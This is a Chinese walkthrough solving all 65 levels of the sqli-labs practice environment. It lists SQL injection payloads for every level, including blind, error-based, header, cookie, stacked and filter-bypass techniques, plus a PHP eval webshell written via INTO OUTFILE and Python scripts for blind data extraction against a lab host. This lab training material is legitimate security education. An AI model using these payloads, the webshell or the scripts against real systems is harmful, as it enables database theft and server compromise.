sqli\_Labs 通关文档【1-65 关】

sql 基础语句

show databases; //查看数据库

use xxx; //使用某个数据库

show tables; //查看该数据库的数据表

desc xxx; //查看该数据表的结构

select \* from xxx; //查找某个数据表的所有内容

select schema\_name from information\_schema.schemata; //猜数据库

select table\_name from information\_schema.tables where table\_schema='xxxxx'; //猜某数据 库的数据表

Select column\_name from information\_schema.columns where table\_name='xxxxx'; //猜某 表的所有列

left(a,b) //从左侧截取 a 的前 b 位

mid(column\_name,start[,length]) //从位置 start 开始， 截取 column\_name 字符串的 length 位， 与 substr 作用相同

substr(string, start, length) //从位置 start 开始，截取字符串 string 的 length 长度，与 mid 作用 相同

ascii() //将某个字符转换成 ascii 码

ord() //将某个字符转换成 ascii 码，同 ascii()

Less-1

尝试添加 ' 注入，发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

这里我们就可以直接发现报错的地方，直接将后面注释，然后使用

1' order by 3%23 //得到列数为 3

//这里用-1 是为了查询一个不存在的 id,好让第一句结果为空，直接显示第二句的结果

-1' union select 1,2,group\_concat(schema\_name) from information\_schema.schemata%23 //得到数据库名

-1' union select 1,group\_concat(table\_name),3 from information\_schema.tables where table\_schema= 'security'# //得到表名

-1' union select 1,group\_concat(column\_name),3 from information\_schema.columns where table\_name= 'users'# //得到列名

-1' union select 1,username,password from users where id=3# //爆破得到数据

Less-2

在添加 ' 之后，得到返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

可以得到这个 sql 语句其实并没有单引号，只是用数字进行查询，例如

select \* from users where id=1

所以我们也可以跟上面一样， payloads:

-1 or 1=1%23

Less-3

添加 ' 之后，返回

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

可以得到大概的 sql 语句:

select \* from users where id=('input') LIMIT 0,1;

所以我们可以需要闭合)。

-1') or 1=1%23

Less-4

尝试 ' 并未发现报错，尝试”发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

可以得到大概的 sql 语句

select \* from users where id = ("input") LIMIT 0,1;

所以 payload:

-1") or 1=1 %23

其他注入语句同上 ，就不再一一列举了。

Less-5

尝试 ’发现报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

猜测 sql 语句为

select \* from users where id='input' LIMIT 0,1;

如果尝试之前的注入方法，会发现不再会返回我们注入的信息，如果注入成功的话，页面会返回 You are in... ，出错的话就不会返回这个字符串，所以这里我们可以进行盲注。

使用 left()

例如我们可以使用 1' and left(version(),1)=3%23 这个 payload 进行测试，截取 version()得到的最 左侧的字符判断是否为 3，如果为 3 则正常返回 You are in... ，否则不返回。所以我们可以利用这个一步 一步爆破得到 left(version(),1)=5。爆破区间可以确定在/[0-9.]/。

采用 1'and length(database())=8%23 对数据库名字长度进行爆破，确定数据库名字长度之后，我们 可以使用 database()来进行爆破数据库名，采用 left(database(),1)>'a' 这个 payload 进行测试，原 理跟上述一致，看返回即可，直到截取长度与数据库名字一致为止，这里效率比较高的就是采用二分法进 行盲注。

使用 substr()、ascii()

也可以采用 substr()、ascii()函数进行尝试:

1' and ascii(substr((select table\_name from information\_schema.tables where table\_schema=database() limit 0,1),1,1))>80%23 //截取数据库下第一个表的第一个字符与 80 的 ascii 值进行对比

找第二个字符只需要改成 substr('xxx',2,1)即可。

找第二个表改成 limit 1,1

使用 regexp()

1' and 1=(select 1 from information\_schema.columns where table\_name='users' and column\_name regexp '^us[a-z]' limit 0,1)%23

//users 表中的列名是否有 us\*\*的列

使用 ord()、mid()

1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))= 68%23

//cast(username AS CHAR)将 username 转换成字符串

//IFNULL(exp1,exp2)假如 expr1 不为 NULL，则 IFNULL()的返回值为 expr1; 否则其返回值为 expr2。IFNULL()的返回值是数字或是字符串，具体情况取决于其所使用的语境。

//ord 前文提过

使用报错注入

1' union Select 1,count(\*),concat(0x3a,0x3a,(select user()),0

x3a,0x3a,floor(rand(0)\*2))a from information\_schema.columns group by a%23

1' union select 1,count(\*) ,concat((select user()),floor(rand(0)\*2))x from security.users group by x%23

1' union select (!(select \* from (select user())x) - ~0),2,3 -- +

1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) -- +

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) -- +

1' union select 1,2,3 from (select NAME\_CONST(version(),1), NAME\_CONST(version(),1))x -- +

使用延时注入

benchmark 是 Mysql 的一个内置函数,其作用是来测试一些函数的执行速度。 benchmark() 中带有两 个参数，第一个是执行的次数，第二个是要执行的函数或者是表达式

1'and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- +

1'UNION SELECT

(IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1-- +

Less-6

没有回显，可以使用布尔盲注

1" and ascii(substr((select table\_name from information\_schema.tables where

table\_schema=database() limit 0,1),1,1))>100-- +

可以发现>100 有回显，小于就没有，也可以用报错注入…

这里就是把 Less-5 中的 ' 改成 " 就行了

Less-7

使用文件导出

1')) UNION SELECT 1,2,3 into outfile "/var/lib/mysql/uuu.txt"%23

1')) UNION SELECT 1,2,'<?php @eval($\_post["mima"])?>' into outfile

"/var/lib/mysql/webshell.php"-- +

Less-8

可以使用时间盲注，也可以用 bool 盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))-- +

Less-9

同 Less-8 可以使用时间盲注

1' and If(ascii(substr(database(),1,1))>115,1,sleep(5))-- +

Less-10

1" and If(ascii(substr(database(),1,1))>115,1,sleep(5))-- +

Less-11

报错注入，少一列就行了

1' union select count(\*),concat(0x3a,0x3a,(select group\_concat(schema\_name) from information\_schema.schemata),0x3a,0x3a,floor(rand(0)\*2))a from information\_schema.schemata group by a#

1' union select count(\*),concat((select user()),floor(rand(0)\*2))x from

information\_schema.columns group by x#

Less-12

1") union select count(\*),concat(0x3a,0x3a,(select group\_concat(schema\_name) from information\_schema.schemata),0x3a,0x3a,floor(rand(0)\*2))a from information\_schema.schemata group by a#

1") union select count(\*),concat((select user()),floor(rand(0)\*2))x from

information\_schema.columns group by x#

Less-13

1') or 1=1#

成功登录，报错注入成功但是不回显，可以考虑盲注

1') or ascii(substr((database()),1,1))>100#

Less-14

1" or 1=1#

成功登录，依然不能回显，尝试使用布尔盲注

1" or left(database(),1)='s'#

发现可以用 updatexml 进行报错注入

1" and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

Less-15

1' or 1=1#

成功登录，布尔注入或者时间盲注均可行

1' or left(database(),1)='s'#

admin' and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

Less-16

1") or 1=1#

成功登录，布尔注入或者时间盲注均可行

1") or left(database(),1)='s'#

admin") and If(ascii(substr(database(),1,1))>115,1,sleep(5))#

Less-17

update 注入， username 过滤了很多，有 password 错误回显，考虑用报错注入

1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

Less-18

登录成功后，页面提示

Your IP ADDRESS is: 172.17.0.1

Your User Agent is: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

那么有可能是 ip 或者 UA 注入，看了一下发现是个 Header 头注入，这里需要注意这是登录成功的条 件下才能触发的，而且既然是 insert 注入，需要用'1'='1闭合后面的 sql 语句，否则就是语法错误了

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1),"1","1")#

Less-19

登录成功后提示

Your IP ADDRESS is: 172.17.0.1

Your Referer is: http://localhost:8081/Less-19/

于是我们可以知道是在 Referer 应该有注入点，在 Referer 处同样用

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

可以注入

Less-20

cookie 注入，登录成功后修改 cookie 即可

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1%23

Less-21

登录成功后发现 cookie 加上了 base64

YOUR COOKIE : uname = YWRtaW4=

用上面的 payload 进行 base64 编码就行了，记得 =要 urlencode

JyBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2 UpLDEpIGFuZCAnMSc9JzE%3d

Less-22

同 21 ，单引号换成双引号即可

IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBAQHZlcnNpb24pLDB4N2 UpLDEpIGFuZCAiMSI9IjE%3d

Less-23

这里#、-- +均被过滤了，但是我们可以利用or '1'='1 来闭合后面的双引号也可以达到我们的目的

-1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

Less-24

这里是个二次注入，我们可以先注册一个 admin'#的账号，在修改密码处我们就可以以自己的密码修改 admin 的密码了，因为修改密码处形成的 sql 语句是

UPDATE users SET passwd="New\_Pass" WHERE username ='admin'#'xxxx 这样#就注释掉了后面的 sql 语句

Less-25

题目很直接，提示直接把 or、and 过滤了，但是可以用 &&、 || 绕过

admin' || updatexml(1,concat(0x7e,(select @@version),0x7e),1)#

也可以双写绕过

0' union select 1,2,group\_concat(schema\_name) from infoorrmation\_schema.schemata;#

Less-25a

-1 union select 1,2,group\_concat(schema\_name) from infoorrmation\_schema.schemata %23

Less-26

题目提示空格与注释被过滤了，可以使用%0a 绕过，可以盲注也可以报错注入

0' || left(database(),1)>'s'%26%26'1'='1

0' || updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

Less-26a

题目提示空格与注释被过滤了，可以使用%a0 绕过，报错注入不出，可以用布尔盲注

0'||'1'='1 #探测为'

0'||left(database(),1)='s'%26%26'1'='1

白盒审计知道是')

0%27)%a0union%a0select%a01,database(),2||('1

0%27)%a0union%a0select%a01,database(),2;%00

Less-27

题目提示 union 与 select 被过滤了，可用大小写绕过

0'||'1'='1

0'||left(database(),1)='s'%26%26'1'='1

0'%0AunIon%0AselEct%0A1,group\_concat(schema\_name),2%0Afrom%0Ainformation\_sche ma.schemata;%00

Less-27a

增加了"

0"%0AunIon%0AselEct%0A1,group\_concat(schema\_name),2%0Afrom%0Ainformation\_sche ma.schemata;%00

Less-28

union select 大小写均被过滤，但是 select 还可单独用，盲注即可

0')||left(database(),1)>'s';%00

Less-28a

依然可以用盲注

0')||left((database()),1)='s';%00 0')||left((selEct%0agroup\_concat(schema\_name)%0afrom%0Ainformation\_schema.schemat a),1)<'s';%00

Less-29

利用 tomcat 与 apache 解析相同请求参数不同的特性， tomcat 解析相同请求参数取第一个，而 apache 取第二个，如?id=1&id=2 ，tomcat 取得 1 ，apache 取得 2

?id=1&id=0' union selEct 1,group\_concat(schema\_name),2 from

information\_schema.schemata;%23

Less-30

与 29 架构一样，原理一致只不过加了 " 限制

?id=1&id=0" union selEct 1,group\_concat(schema\_name),2 from

information\_schema.schemata;%23

Less-31

架构一样，多了")

?id=1&id=0") union selEct 1,group\_concat(schema\_name),2 from

information\_schema.schemata;%23

Less-32

注意是 GBK，可以用%df 进行宽字节注入

0%df%27%20or%201=1%23

0%df' union selEct 1,group\_concat(schema\_name),2 from

information\_schema.schemata;%23

Less-33

0%df' union selEct 1,group\_concat(schema\_name),2 from

information\_schema.schemata;%23

Less-34

uname=0%df'%20union+selEct%201,group\_concat(schema\_name)%20from%20informatio n\_schema.schemata%3b%23&passwd=1&submit=Submit

Less-35

0 union selEct 1,group\_concat(schema\_name),2 from information\_schema.schemata;%23

Less-36

0%df%27%20union%20selEct%201,group\_concat(schema\_name),2%20from%20informatio n\_schema.schemata;%23

-1%EF%BF%BD%27union%20select%201,user(),3-- +

Less-37

uname=0%df%27%20union%20selEct%20group\_concat(schema\_name),2%20from%20infor mation\_schema.schemata;%23&passwd=1&submit=Submit

Less-38

堆叠注入，成功创建 test 数据表

1';create table test like users;%23

Less-39

1;create table test39 like users;%23

Less-40

1');create table test40 like users;%23

Less-41

1;create table test41 like users;%23

Less-42

password 处无过滤

login\_user=1&login\_password=1'%3bcreate+table+test43+like+users%3b%23&mysubmit =Login

Less-43

password 处无过滤

login\_user=1&login\_password=1')%3bcreate+table+test43+like+users%3b%23&mysubmit =Login

Less-44

login\_user=1&login\_password=1'%3bcreate+table+test44+like+users%3b%23&mysubmit =Login

Less-45

login\_user=1&login\_password=1')%3bcreate+table+test45+like+users%3b%23&mysubmit =Login

Less-46

order by 注入

username、password 均为列名，所以以下需要知道列名

?sort=if(1=1,username,password)

?sort =null,if(1=1,username,password)

?sort =(case when (1=1) then username else password end)

?sort =ifnull(null, username)

?sort =rand(1=1) //order by rand(1)/rand(0)两者返回不一样

?sort =(select 1 regexp if(1=1,1,0x00))

将 1=1 换成 bool 盲注的语句函数即可用于获取数据

sort=rand(ascii(substr(database(),1,1))=115)

时间盲注

sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))

sort=(select if(substring(current,1,1)=char(115),benchmatrk(5000000,md5('1')),null) from (select database() as current) as tb1)

Bool 盲注

sort=rand(ascii(left(database()),1))=115)

报错注入：

sort=updatexml(1,if(1=1,concat(0x7e,version()),2),1)

sort= (select count(\*) from information\_schema.columns group by

concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()\*2)))

procedure analyse 参数后注入

sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)

into outfile 参数:

id=1 into outfield "path"

上传网马，可以在后面加上 lines terminated by 16 进制转码的数据

Less-47

有 '，可以用报错

sort=1'and (select count(\*) from information\_schema.columns group by

concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()\*2)))-- +

sort=1'and (select \* from (select NAME\_CONST(version(),1),NAME\_CONST(version(),1))x)-- +

也可以用时间盲注

sort=1'and If(ascii(substr(database(),1,1))=115,0,sleep (3))-- +

procedure analyse 参数后注入

sort=1'procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)-- +

Less-48

sort=1 and If(ascii(substr(database(),1,1))>115,0,sleep (3))-- +

sort=rand(ascii(left(database(),1))=115)

Less-49

sort=1' and If(ascii(substr(database(),1,1))=115,0,sleep (3))-- +

sort=1' and (If(ascii(substr((select username from users where id=1),1,1))=68,0,sleep(3)))-- +

Less-50

堆叠注入

sort=1;create table test50 like users;%23

Less-51

堆叠注入

sort=1';create table test51 like users;%23

Less-52

堆叠注入

sort=1;create table test52 like users;%23

Less-53

sort=1';create table test53 like users;%23

Less-54

如果没有点提交按钮将会进入下面的 else 语句，有过滤，显然突破口在上面。如果点了提交将会 setcookie，然后看到有个 GET 提交的 id 参数，然后有个更新数据库操作，这里限制了 10 次请求次 数，否则更新数据库。

http://192.168.1.63/sqli-labs/Less-54/index.php?id=-

1%27%20union%20select%201,database(),%273 //查库

http://192.168.1.63/sqli-labs/Less-54/index.php?id=-1' union select

1,group\_concat(table\_name),3 from information\_schema.tables where

table\_schema=database()%23 //查表

http://192.168.1.63/sqli-labs/Less-54/index.php?id=-1' union select 1,group\_concat(column\_name),3 from information\_schema.columns where table\_name='08TSEARRWX //查列

http://192.168.1.63/sqli-labs/Less-54/index.php?id=-1' union select

1,group\_concat(secret\_2VPS),3 from 08TSEARRWX%23 //查数据

Less-55

这个题限制了请求 14 次，不过当测试出闭合情况之后后面就一切顺利了。

先尝试闭合

http://192.168.1.63/sqli-labs/Less-55/?id=1'%23 //错误

http://192.168.1.63/sqli-labs/Less-55/?id=1')%23 //错误

http://192.168.1.63/sqli-labs/Less-55/?id=1)%23 //正确

尝试之后发现是用)闭合

http://192.168.1.63/sqli-labs/Less-55/?id=-1) union select 1,database(),3%23

Less-56

这几关都差不多，首先也是尝试闭合

http://192.168.1.63/sqli-labs/Less-56/index.php?id=1')%23 //成功闭合 http://192.168.1.63/sqli-labs/Less-56/index.php?id=-1') union select 1,database(),3%23

Less-57

这关是双引号闭合的

http://192.168.1.63/sqli-labs/Less-57/?id=-1" union select 1,database(),3%23

Less-58

查询之后并没有返回查询数据库当中的数据，不能使用 union 联合注入，但是有报错回显，可以使用报 错注入。

http://192.168.1.63/sqli-labs/Less-58/index.php?id=0' and extractvalue(1, concat(0x5c, (select database())))%23

Less-59

SQL 语句：

$sql="SELECT \* FROM security.users WHERE id=$id LIMIT 0,1";

payload：

http://192.168.1.63/sqli-labs/Less-59/index.php?id=1 and extractvalue(1, concat(0x5c, (select database())))%23

Less-60

http://192.168.1.63/sqli-labs/Less-60/?id=1") and extractvalue(1, concat(0x5c, (select database())))%23

Less-61

http://192.168.1.63/sqli-labs/Less-61/?id=1'))and extractvalue(1, concat(0x5c, (select database())))%23

Less-62

接下来几关要在 130 次内完成盲注。只不过有次数限制，很明显不能去爆破

http://192.168.1.63/sqli-labs/Less-62/index.php?id=1') and (length(database())=10)%23

写脚本跑出数据库名字：

# -\*- coding: UTF-8 -\*-

import requests

global num

url = "http://192.168.1.63/sqli-labs/Less-62/index.php?id=1')"

def check(payload):

global num

num += 1

content = requests.get(url=payload).text

print payload

if "Angelina" in content:

return 1

else:

return 0

def exp():

result = ''

start = 30

end = 127

for i in range(1,11):

for j in range(start,end):

tmp = (start+end)/2

#print tmp

payload = url + "and ascii(substr(database(),%d,1))>%d-- +" % (i,tmp)

if (end - start ==1):

payload = url + "and ascii(substr(database(),%d,1))=%d-- +" % (i,tmp)

if check(payload):

result += chr(tmp)

start = 30

end = 127

break

else:

result += chr(tmp+1)

start = 30

end =127

break

if check(payload):

start = tmp

else:

end = tmp

print result

if \_\_name\_\_ == '\_\_main\_\_':

num =0

exp()

print num

跑字段的脚本

# -\*- coding: UTF-8 -\*-

import requests

global num

url = "http://192.168.1.63/sqli-labs/Less-62/index.php?id=1')"

def check(payload):

global num

num += 1

content = requests.get(url=payload).text

print payload

if "Angelina" in content:

return 1

else:

return 0

def exp():

result = ''

start = 30

end = 127

for i in range(1,25):

for j in range(start,end):

tmp = (start+end)/2

#print tmp

payload = url + "and ascii(substr((select secret\_28HE from qyzq3rflb5),%d,1))>%d-- +" % (i,tmp)

if (end - start ==1):

payload = url + "and ascii(substr((select secret\_28HE from qyzq3rflb5),%d,1))=%d-- +" % (i,tmp)

if check(payload):

result += chr(tmp)

start = 30

end = 127

break

else:

result += chr(tmp+1)

start = 30

end =127

break

if check(payload):

start = tmp

else:

end = tmp

print result

if \_\_name\_\_ == '\_\_main\_\_':

num =0

exp()

print num

Less-63

这关跟上一关一样，唯一的区别在于需要使用单引号闭合

不再赘述！

Less-64

这关跟上一关一样，唯一的区别在于需要使用括号闭合

不再赘述！

Less-65

这几关性质都一样，只不过闭合语句不同，不再赘述

SQL 语句：

$sql="SELECT \* FROM security.users WHERE id=($id) LIMIT 0,1";